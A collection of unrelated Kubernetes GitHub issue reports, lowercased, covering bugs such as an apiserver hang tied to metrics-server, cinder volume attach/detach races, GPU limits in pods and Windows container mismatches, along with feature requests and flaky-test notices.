is this a bug report or feature request?  :\r  \r   what happened  :\r i've deployed a kubernetes multi master cluster with flannel as networking and the metrics-server in kube-system. after a rolling upgrade, every kubectl command i tried didn't respond anymore, yet requests to the api via curl worked fine. raising the loglevel in the apiserver showed:\r \r    \r goroutine 23530  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc42054f6c0, 0x1f7 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc42054f6c0, 0x1f7 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc425912620, 0x1f7 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:201 +0xb5\r net/http/httputil.  reverseproxy .servehttp 0xc4280565c0, 0x7f0792f74668, 0xc429e77bd8, 0xc427b45400 \r \t/usr/local/go/src/net/http/httputil/reverseproxy.go:246 +0x795\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy.  upgradeawarehandler .servehttp 0xc42dc91920, 0x7f0792f74668, 0xc429e77bd8, 0xc427b45300 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go:231 +0x838\r k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver.  proxyhandler .servehttp 0xc4280e7500, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/kube-aggregator/pkg/apiserver/handler_proxy.go:150 +0x690\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc42c29ab80, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:241 +0x567\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc42221ff10, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x72\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x38d305c, 0xf, 0xc427ef6510, 0xc42221ff10, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x301\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc427f42120, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t<autogenerated>:69 +0x86\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37a\r net/http.handlerfunc.servehttp 0xc423eb0cd0, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:98 +0x5a0\r net/http.handlerfunc.servehttp 0xc427d8b480, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:49 +0x21b2\r net/http.handlerfunc.servehttp 0xc423eb0d20, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:79 +0x2b0\r net/http.handlerfunc.servehttp 0xc423eb0d70, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110 +0xef\r net/http.handlerfunc.servehttp 0xc427f42140, 0x7f0792f74668, 0xc429e77bd8, 0xc427b44e00 \r \t/usr/local/go/src/net/http/server.go:1942 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc427f421c0, 0x8172b40, 0xc429e77bd8, 0xc427b44e00, 0xc42dc918c0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:106 +0x8d\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0x1ca\r \r logging error output: \ error: 'context canceled'\ trying to reach: 'https://10.99.129.104:443/apis/metrics.k8s.io/v1beta1'\ \r    kubectl/v1.8.4  linux/amd64  kubernetes/9befc2b  172.20.0.8:46378 \r    \r \r the ip is tries to connect to is the metrics-server's clusterip. after deleting the metrics-server service, kubectl became responsive again.\r \r during this time flannel didn't setup networking yet.  fwiw, i deploy it via a daemonset which has a init container to install the cni plugins .\r \r   what you expected to happen  :\r it looks like something trying to reach the metrics-server blocked both kubectl as well as deployment of the flannel daemonset.\r but even under this condition kubectl should still work. fortunately i was able to remove the service via curl, though using kubectl would be much more convienient.\r \r   how to reproduce it  as minimally and precisely as possible   :\r haven't tried to reproduce it and might happen with single controller clusters but this is what i did:\r 1. deploy cluster with 3 controller instances\r 2. install flannel\r 3. install metrics server\r 4. replace all instances one by one\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4 installed by kubeadm, running 1.8.4+coreos.0 hyperkube kubelet\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : 1520.8.0

@liggitt  identified an issue  https://github.com/kubernetes/kubernetes/pull/59382 discussion_r166501664  in  controller that could cause a problem in ha scenarios. the admission controller caches the value of default  uses it for pods that do not provide a  it invalidates the cache when another default  is added. in ha mode, another api server may observe addition of another  and the cache of the first api server may get stale.\r \r   is this a bug report or feature request?  :\r \r  

this is part of migrating the kubelet command-line to a kubernetes-style api.\r \r there are a number of  cri-related flags  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/config/flags.go  that the kubelet currently exposes. we should endeavor to provide these via a versioned kubernetes-style api, a-la  kubelet.config.k8s.io/v1beta1 . \r \r i'm bucketing all these into a single issue because i anticipate that this will require some debate, including whether they should live in their own api group, and whether they should be available via dynamic kubelet config.\r \r /assign @mtaufen @yujuhong @random-liu @liggitt

hi,\r \r    i am running tensorflow  tensorflow/tensorflow:latest-gpu  on kubernetes  v1.9.4 . i set nvidia.com/gpu as  0 in resource limit, but gpu still can be found in pod. however, it can not be used in pod. \r   i got the log:\r  2018-05-04 14:29:06.352708: i tensorflow/core/common_runtime/gpu/gpu_device.cc:1344  found device 0 with properties:\r name: tesla k40c major: 3 minor: 5 memoryclockrate ghz : 0.745\r pcibusid: 0000:83:00.0\r totalmemory: 11.92gib freememory: 11.84gib\r 2018-05-04 14:29:06.628543: i tensorflow/core/common_runtime/gpu/gpu_device.cc:1344  found device 1 with properties:\r name: tesla k40c major: 3 minor: 5 memoryclockrate ghz : 0.745\r pcibusid: 0000:84:00.0\r totalmemory: 11.92gib freememory: 11.84gib\r 2018-05-04 14:29:06.629013: i tensorflow/core/common_runtime/gpu/gpu_device.cc:1423  adding visible gpu devices: 0, 1\r 2018-05-04 14:29:08.568104: i tensorflow/core/common_runtime/gpu/gpu_device.cc:911  device interconnect streamexecutor with strength 1 edge matrix:\r 2018-05-04 14:29:08.568491: i tensorflow/core/common_runtime/gpu/gpu_device.cc:917       0 1\r 2018-05-04 14:29:08.568690: i tensorflow/core/common_runtime/gpu/gpu_device.cc:930  0:   n y\r 2018-05-04 14:29:08.568808: i tensorflow/core/common_runtime/gpu/gpu_device.cc:930  1:   y n\r 2018-05-04 14:29:08.570541: i tensorflow/core/common_runtime/gpu/gpu_device.cc:1041  created tensorflow device  /job:localhost/replica:0/task:0/device:gpu:0 with 11483 mb memory  -> physical gpu  device: 0, name: tesla k40c, pci bus id: 0000:83:00.0, compute capability: 3.5 \r 2018-05-04 14:29:08.719832: i tensorflow/core/common_runtime/gpu/gpu_device.cc:1041  created tensorflow device  /job:localhost/replica:0/task:0/device:gpu:1 with 11483 mb memory  -> physical gpu  device: 1, name: tesla k40c, pci bus id: 0000:84:00.0, compute capability: 3.5 \r  \r but it can not continue to run.\r \r why this happened? does nvidia.com/gpu = 0 means that there is no limit for gpu and all gpus can be used in pod? how can i run applications using cpu rather than gpu when i use gpu images?\r \r thanks!

flaky job: pr:pull-kubernetes-e2e-kops-aws  flakes in the past week:   82    consistency:   83.10%         flakiest tests by flake count: | test | flake count | | --- | --- | | up | 36 | | isup | 17 | | list nodes | 15 |       previously closed issues for this job flaking:  52214     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r prevent  comment  field conflicts in godeps/godeps.json\r \r   why is this needed  :\r \r  godep  may generate different comments on same commit in same repo. it's annoying when updating dependencies. more discussion: https://github.com/kubernetes/kubernetes/pull/69976 pullrequestreview-167565874\r \r  godep  uses  git describe --tags <commit>  to generate comment, different git versions or local configs will generate different results  latest git use dynamic abbreviation size by default which depends on repo state . and some repo may tag one commit with multiple names which results in multiple comments  depends on your repo state , e.g. \r \r - https://github.com/go-openapi/analysis/tree/v0.17.1\r - https://github.com/go-openapi/analysis/tree/v0.17.2\r \r <!-- do not edit below this line -->\r 

what happened  :\r our apps rely on some grpc services. occasionally the following error occurs and breaks our logic.\r our apps were published in prod env recently, we've checked apps' metrics that there was neither traffic pressure nor restart whenever the error occurs.\r    \r { error: read ehostunreach\r     at tcp.onstreamread  internal/stream_base_commons.js:111:27  errno: 'ehostunreach', code: 'ehostunreach', syscall: 'read' }\r    \r \r   what you expected to happen  :\r apps work normally and no ehostunreach errors.\r \r   how to reproduce it  as minimally and precisely as possible   :\r this error occurs occasionally, no stable reproduction method... if you need any specific stuff please tell me, thanks.\r \r   anything else we need to know?  :\r call chain: bff api pod => kube-proxy => grpc service pod\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: alicloud\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r - kernel  e.g.  uname -a  :\r linux izbp11zjwu3eul74z7h4skz 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: cloud managed\r - others: none\r

what happened  :\r trying to start a container on a windows node results in an error \ the container operating system does not match the host operating system.\ \r \r   what you expected to happen  :\r pod should start\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to deploy an application based on nanoserver:1809 to a node running windows server 2019  also 1809 . please note that 1809 and 1809 are matching versions, and this is a config supported by microsoft.\r \r   anything else we need to know?  :\r i can run the image i'm trying to deploy directly on the node  using docker run ...  and it works fine, so the problem is not in the image, but in the interaction between kubernetes and windows.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.1\r - cloud provider or hardware configuration:   kubernetes is running on windows 2019 on bare metal\r - os  e.g. from /etc/os-release :  windows server 2019\r - kernel  e.g.  uname -a  :   10.0.17763.316\r - install tools:\r - others:  docker ee 18.09.2\r \r there's a similar issue here:  69901 but it refers to a windows update which apparently fixes this. that update has been applied  and all others as well  but the problem persists\r \r i posted  74019 yesterday, but it was closed by someone who didn't read or understand the bug.\r

i love the diagram on https://github.com/kubernetes/kubernetes/issues/3312 !   https://camo.githubusercontent.com/5eafb51b611cf5ca6fd681dcfea51335914f1256/68747470733a2f2f7261776769746875622e636f6d2f6c687561726431412f7468726f74746c696e672d73747564792f6d61737465722f646570656e64656e63795f7468726f74746c696e675f66736d2e737667 .  can we have such a diagram on http://kubernetes.io/docs/user-guide/pod-states/ ?

it only shows me the container statuses, which leads me to believe that everything is fine when in fact the podcondition is false, which is what the endpoints controller really checks  https://github.com/kubernetes/kubernetes/blob/master/pkg/api/resource_helpers.go l101 . eg:       console $ kubectl get po --namespace=kube-system -l  k8s-app=kube-dns kube-dns-v17.1-j7nsx                                                           3/3       running   0          33m kube-dns-v17.1-tcpnc                                                           3/3       running   0          33m  $ kubectl --namespace=kube-system get ep kube-dns name       endpoints   age kube-dns               53m  $ kubectl get po --namespace=kube-system get po kube-dns-v17.1-j7nsx -o yaml status:   conditions:   - lastprobetime: null     lasttransitiontime: null     status: \ false\      type: ready   containerstatuses:   - containerid: docker://11f3f8e6d9047b25f5c1281ddcffcd6994b3f2cf1e8f4c2011c2aa292475d473     image: gcr.io/google_containers/kube-dnsmasq-amd64:1.3     imageid: docker://a1f6266b068220387aab4de1f8e16921bfa122aea858ace7b7b7b0b38adddd5f     laststate: {}     name: dnsmasq     ready: true     restartcount: 0     state:       running:         startedat: 2016-08-17t17:02:23z   - containerid: docker://aa1c16e16cf0ac5b1d0ec053e13635ee31e10ee9f552a1592c66ec1264c84067     image: gcr.io/google_containers/exechealthz-amd64:1.1     imageid: docker://1b31936bba74fc684f83c3cd49bd5322b24d04dcdd1f6dd4d1537a35943330fd     laststate: {}     name: healthz     ready: true     restartcount: 0     state:       running:         startedat: 2016-08-17t17:02:26z   - containerid: docker://763f55fcd6e1054394e273e8e8eb5f4cde45bf4cc9447ac0df43b635049c8206     image: gcr.io/google_containers/kubedns-amd64:1.5     imageid: docker://0e06808882af7b1b27c4c157a8a3e71247172bcc6e94ba8b0119e13a4db09d58     laststate: {}     name: kubedns     ready: true     restartcount: 0     state:       running:         startedat: 2016-08-17t17:02:17z       @kubernetes/kubectl

the following line appears in the \ k8s identity and access management sketch\  document:      features in this doc are divided into \ initial feature\ , and \ improvements\ . initial features would be candidates for version 1.00.      since the release is past version 1.00, can we have an update on which features actually made it into version 1.00  and which features are implemented in 1.3, 1.4, etc. . it would be helpful in attempting to evaluate this product between versions  1.3 vs. 1.4  and versus other solutions.

@bgrant0607 pointed out that the  canaccept    behavior should be to return an error message rather than a bool and then some code can be factored out rather than appear at the call site. @brendanburns

is this a bug report or feature request?    choose one :\r feature request\r \r   kubernetes version    use  kubectl version  :\r master branch\r \r   what you expected to happen  :\r \r when investigating  45237, we'd like to get more debug information from scheduler; but unfortunately, no much info here : .\r \r so i'd like to build a tools to replay scheduler with more information, e.g. print input/output of each predicates/priority, print each items of scheduler cache. this tools will dump information from apiserver, call predicates/ did not bind pods.\r \r /cc @kubernetes/sig-scheduling-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r n/a\r ---\r \r   is this a bug report or feature request?    choose one : misc\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : n/a\r \r \r   environment  : n/a\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r helping @foxish to write upgrade test for the pdb max unavailable feature.\r \r   what you expected to happen  :\r had an upgrade test covering the feature.\r \r   how to reproduce it    as minimally and precisely as possible :\r n/a\r \r   anything else we need to know  :\r i will work on this.\r

a number of addon images have cves that have been fixed in the upstream base images.\r we should update these images before the final 1.7 release.\r \r cc @timstclair

the following features are recommended\r ===============================\r podspec v1 core\r hostmount  boolean\t\r host mount requested for this pod. use the host's mount namespace optional. default to false.

 \r   what happened  :\r \r we deployed a pod with a dynamic cinder volume  i.e when a pvc is deployed, the cinder volume driver creates and attaches a cinder disk . when a node it's on is rebooted, the pod is rescheduled to another node. the volume controller then detaches the cinder disk from the old node and attaches to the new one. however, instead of leaving it at that, the volume reconciler performs a bunch of additional, completely unexpected detach/attach operations which eventually leaves the pod in a crash loop. i'll give a run through of the lifecycle:\r \r   step 1: initial set-up  \r    \r i0724 13:25:07.521306       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:25:09.937732       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:25:16.155696       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r     \r \r   step 2: reboot occurs on  jamie-terraform-worker-2   \r \r   step 3: reconciler handles volume migration  \r \r    \r i0724 13:39:31.143183       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:41:17.605210       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:41:20.826216       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:41:23.638919       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:41:32.893545       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:41:40.173304       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:41:41.483245       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:41:44.728394       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:41:47.842169       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:41:52.364797       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:41:59.698795       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-2\ \r i0724 13:42:24.401188       1 reconciler.go:173  started detachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  from node \ jamie-terraform-worker-2\ \r i0724 13:42:31.719502       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:42:37.685784       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r i0724 13:42:49.021248       1 reconciler.go:208  started attachvolume for volume \ kubernetes.io/cinder/2e91ae43-5a0d-4ef4-85b1-6dd0c3021071\  to node \ jamie-terraform-worker-1\ \r    \r \r i'm just selecting  reconciler.go  logs. for full logs, including  attacher.go , see  here  https://gist.github.com/jamiehannaford/7507ef4e10cb8ff43639549256cbf689 .\r \r if we look at when the initial node   worker-2   was rebooted:\r \r    \r core@jamie-terraform-worker-2 ~ $ last -x reboot\r reboot   system boot  4.12.2-coreos    mon jul 24 13:41   still running\r reboot   system boot  4.11.2-coreos    mon jul 24 13:15 - 13:41   00:25 \r    \r \r we can see it began the reboot cycle at 13:41, which is when the volume was migrated by the reconciler. pods seem to have been rescheduled to the rebooted node 2 minutes later at 13:43.\r \r my question is, why did the reconciler begin attaching to  worker-1 , then attach the same volume to  worker-2  around 20 seconds later when that node was not really schedulable? it then _detached_ from  worker-2 , then reattached to  worker-1 , which is what it did at the very beginning. why did it attach to  worker-2  in the interim when it was completely unnecessary?\r \r   what you expected to happen  :\r \r when a node is rebooted and pods drained from it, i don't expect the volume manager to ever attach/detach old volumes back to it. the second the pod leaves i expect the cache to be updated.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - set up 3 worker cluster using container linux\r - deploy a pod with a cinder pv\r - reboot the node with the pod on\r - more often than not, the pod will be rescheduled to another node but enter a crash loop\r \r   anything else we need to know?  :\r \r the actual way this problem manifested itself is similar to https://github.com/kubernetes/kubernetes/issues/47548. the pod enters a crash loop because selinux disallows relabelling ro mounts. the reason why cinder/nova mounts the volume is ro is unclear, but we think it's probably due to the race conditions in volume manager. for example, if the first mount is interrupted by the second unnecessary one, it becomes ro and the kubelet doesn't actually update the mount location to the new device path.\r \r for the reboots we're using the https://github.com/coreos/container-linux-update-operator which drains the node, deletes all pods, then sends a reboot request to systemd. full reboot cycle can be checked out  here  https://github.com/coreos/container-linux-update-operator/blob/master/pkg/agent/agent.go l78 . \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7+coreos.0\ , gitcommit:\ c8c505ee26ac3ab4d1dff506c46bc5538bc66733\ , gittreestate:\ clean\ , builddate:\ 2017-07-06t17:38:33z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r nova and cinder\r \r - os  e.g. from /etc/os-release :\r    \r name=\ container linux by coreos\ \r id=coreos\r version=1465.2.0\r version_id=1465.2.0\r build_id=2017-07-19-0414\r pretty_name=\ container linux by coreos 1465.2.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r \r - kernel  e.g.  uname -a  :\r    \r linux jamie-terraform-worker-2 4.12.2-coreos  1 smp wed jul 19 03:57:51 utc 2017 x86_64 amd opteron 23xx  gen 3 class opteron  authenticamd gnu/linux\r    \r

how can i create a load balancer with ssl termination within gke  examples from  here  https://github.com/kubernetes/ingress/blob/master/controllers/gce/readme.md tls  seem doesn't work ? \r \r when i created a load balancer from the  ingress  https://pastebin.com/mbqpaeyq  with  nodeport   service  https://pastebin.com/gpn2l68c , the backend group for ingress load balancer uses all the nodes in the cluster for a  gce instance group  and marks them as unhealthy. \r \r as a result, all the requests to a load balancers ip address are getting  502  code with the following error message:\r \r    \r error: server error\r \r the server encountered a temporary error and could not complete your request.\r please try again in 30 seconds.\r    \r \r thanks in advance for any kind of help.

is this a bug report or feature request?  :\r  @kubernetes/sig-scalability-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r federation docs are already in project  federation  https://github.com/kubernetes/federation .\r and /hack/generate-docs.sh here do not generate federation docs right now.\r so it's time to remove these docs.\r \r   what you expected to happen  :\r remove unused docs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r this is needed for:\r - running windows server 2016 containers on windows server 1709\r - providing a stronger isolation boundary between pods. this is important for scenarios where you need to host pods for multiple tenants or security levels on the same node\r \r proposal is to use an annotation, not an api change:  windows.kubernetes.io/isolation-type=hyperv \r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing job\r      sig-release-master-upgrade gce-1.10-master-upgrade-master  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-1.10-master-upgrade-master \r \r    failing test\r       sig-storage  persistentvolumes-local stress with local volume provisioner  serial  should use be able to process many pods and reuse local volumes  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/1484 \r \r    triage results\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?sig=storage&test=should%20use%20be%20able%20to%20process%20many%20pods%20and%20reuse%20local%20volumes\r \r this test is currently failing in sig-release master-upgrade suite, this could potentially become release blocking if not addressed sooner. @msau42  can you please triage this failure?\r \r  / /  @kubernetes/sig-storage-bugs \r \r cc @jberkus @tpepper \r \r /assign @msau42 \r

